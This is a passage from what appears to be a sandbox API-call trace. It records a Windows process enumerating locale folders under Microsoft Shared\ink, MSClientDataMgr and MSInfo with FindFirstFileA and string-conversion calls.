returned 1 [0033.996] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0033.997] AreFileApisANSI () returned 1 [0033.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0033.997] AreFileApisANSI () returned 1 [0033.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0033.997] AreFileApisANSI () returned 1 [0033.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0033.997] AreFileApisANSI () returned 1 [0033.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 62 [0033.998] AreFileApisANSI () returned 1 [0033.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0033.998] AreFileApisANSI () returned 1 [0033.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0033.998] AreFileApisANSI () returned 1 [0033.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0033.999] AreFileApisANSI () returned 1 [0033.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0033.999] AreFileApisANSI () returned 1 [0033.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0033.999] AreFileApisANSI () returned 1 [0033.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0033.999] AreFileApisANSI () returned 1 [0033.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0034.000] AreFileApisANSI () returned 1 [0034.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0034.000] AreFileApisANSI () returned 1 [0034.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0034.000] AreFileApisANSI () returned 1 [0034.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0034.001] AreFileApisANSI () returned 1 [0034.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0034.001] AreFileApisANSI () returned 1 [0034.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0034.001] AreFileApisANSI () returned 1 [0034.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0034.001] AreFileApisANSI () returned 1 [0034.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0034.002] AreFileApisANSI () returned 1 [0034.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0034.002] AreFileApisANSI () returned 1 [0034.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0034.002] AreFileApisANSI () returned 1 [0034.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0034.002] AreFileApisANSI () returned 1 [0034.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0034.003] GetFileType (hFile=0xc4) returned 0x1 [0034.004] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb73fd660, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb73fd660, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.004] AreFileApisANSI () returned 1 [0034.004] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0034.004] GetFileType (hFile=0xc4) returned 0x1 [0034.005] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb73fd660, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb73fd660, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.006] AreFileApisANSI () returned 1 [0034.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0034.009] GetFileType (hFile=0xc4) returned 0x1 [0034.010] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb74237c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb74237c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.010] AreFileApisANSI () returned 1 [0034.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0034.011] GetFileType (hFile=0xc4) returned 0x1 [0034.012] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb74237c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb74237c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.012] AreFileApisANSI () returned 1 [0034.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0034.013] GetFileType (hFile=0xc4) returned 0x1 [0034.014] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb74237c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb74237c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.015] AreFileApisANSI () returned 1 [0034.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0034.015] GetFileType (hFile=0xc4) returned 0x1 [0034.016] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb74237c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb74237c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.016] AreFileApisANSI () returned 1 [0034.016] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0034.017] GetFileType (hFile=0xc4) returned 0x1 [0034.018] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb74237c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb74237c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.018] AreFileApisANSI () returned 1 [0034.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0034.019] GetFileType (hFile=0xc4) returned 0x1 [0034.020] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb74237c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb74237c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.020] AreFileApisANSI () returned 1 [0034.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0034.021] GetFileType (hFile=0xc4) returned 0x1 [0034.022] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb74237c0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb74237c0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.023] AreFileApisANSI () returned 1 [0034.023] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0034.023] GetFileType (hFile=0xc4) returned 0x1 [0034.024] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb7449920, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7449920, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.024] AreFileApisANSI () returned 1 [0034.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0034.025] GetFileType (hFile=0xc4) returned 0x1 [0034.025] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb7449920, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7449920, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.026] AreFileApisANSI () returned 1 [0034.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0034.027] GetFileType (hFile=0xc4) returned 0x1 [0034.028] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb7449920, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7449920, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.029] AreFileApisANSI () returned 1 [0034.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0034.029] GetFileType (hFile=0xc4) returned 0x1 [0034.030] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb7449920, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7449920, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.030] AreFileApisANSI () returned 1 [0034.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0034.031] GetFileType (hFile=0xc4) returned 0x1 [0034.032] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb7449920, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7449920, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.032] AreFileApisANSI () returned 1 [0034.032] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0034.032] GetFileType (hFile=0xc4) returned 0x1 [0034.033] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb7449920, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7449920, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.033] AreFileApisANSI () returned 1 [0034.034] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0034.035] GetFileType (hFile=0xc4) returned 0x1 [0034.037] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb7449920, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7449920, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.037] AreFileApisANSI () returned 1 [0034.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0034.038] GetFileType (hFile=0xc4) returned 0x1 [0034.042] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb7449920, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7449920, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.042] AreFileApisANSI () returned 1 [0034.042] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0034.043] GetFileType (hFile=0xc4) returned 0x1 [0034.044] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb746fa80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb746fa80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.044] AreFileApisANSI () returned 1 [0034.044] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0034.044] GetFileType (hFile=0xc4) returned 0x1 [0034.045] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb746fa80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb746fa80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.046] AreFileApisANSI () returned 1 [0034.046] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0034.048] GetFileType (hFile=0xc4) returned 0x1 [0034.049] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb746fa80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb746fa80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.049] AreFileApisANSI () returned 1 [0034.049] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0034.050] GetFileType (hFile=0xc4) returned 0x1 [0034.050] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb746fa80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb746fa80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.051] AreFileApisANSI () returned 1 [0034.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0034.052] GetFileType (hFile=0xc8) returned 0x1 [0034.053] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb746fa80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb746fa80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.053] AreFileApisANSI () returned 1 [0034.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0034.054] GetFileType (hFile=0xc8) returned 0x1 [0034.055] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb7495be0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7495be0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.055] AreFileApisANSI () returned 1 [0034.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0034.056] GetFileType (hFile=0xc4) returned 0x1 [0034.057] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb7495be0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7495be0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.057] AreFileApisANSI () returned 1 [0034.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, 